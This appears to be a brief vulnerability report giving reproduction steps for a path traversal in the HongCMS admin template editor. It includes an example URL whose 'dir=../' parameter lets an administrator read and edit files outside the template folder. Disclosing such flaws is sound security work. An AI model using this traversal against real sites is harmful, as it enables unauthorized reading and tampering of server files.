1.Login to the backstage as the administrator;

2.You need to access the page"<http://10.12.11.184/hongcms-master/admin/index.php/template>"

3.Change the file name you want to edit or read in the URL and access this page.

For example: "<http://10.12.11.184/hongcms-master/admin/index.php/template/edit?dir=../&file=index.php>".

4.You can see that index.php has been read and edited.
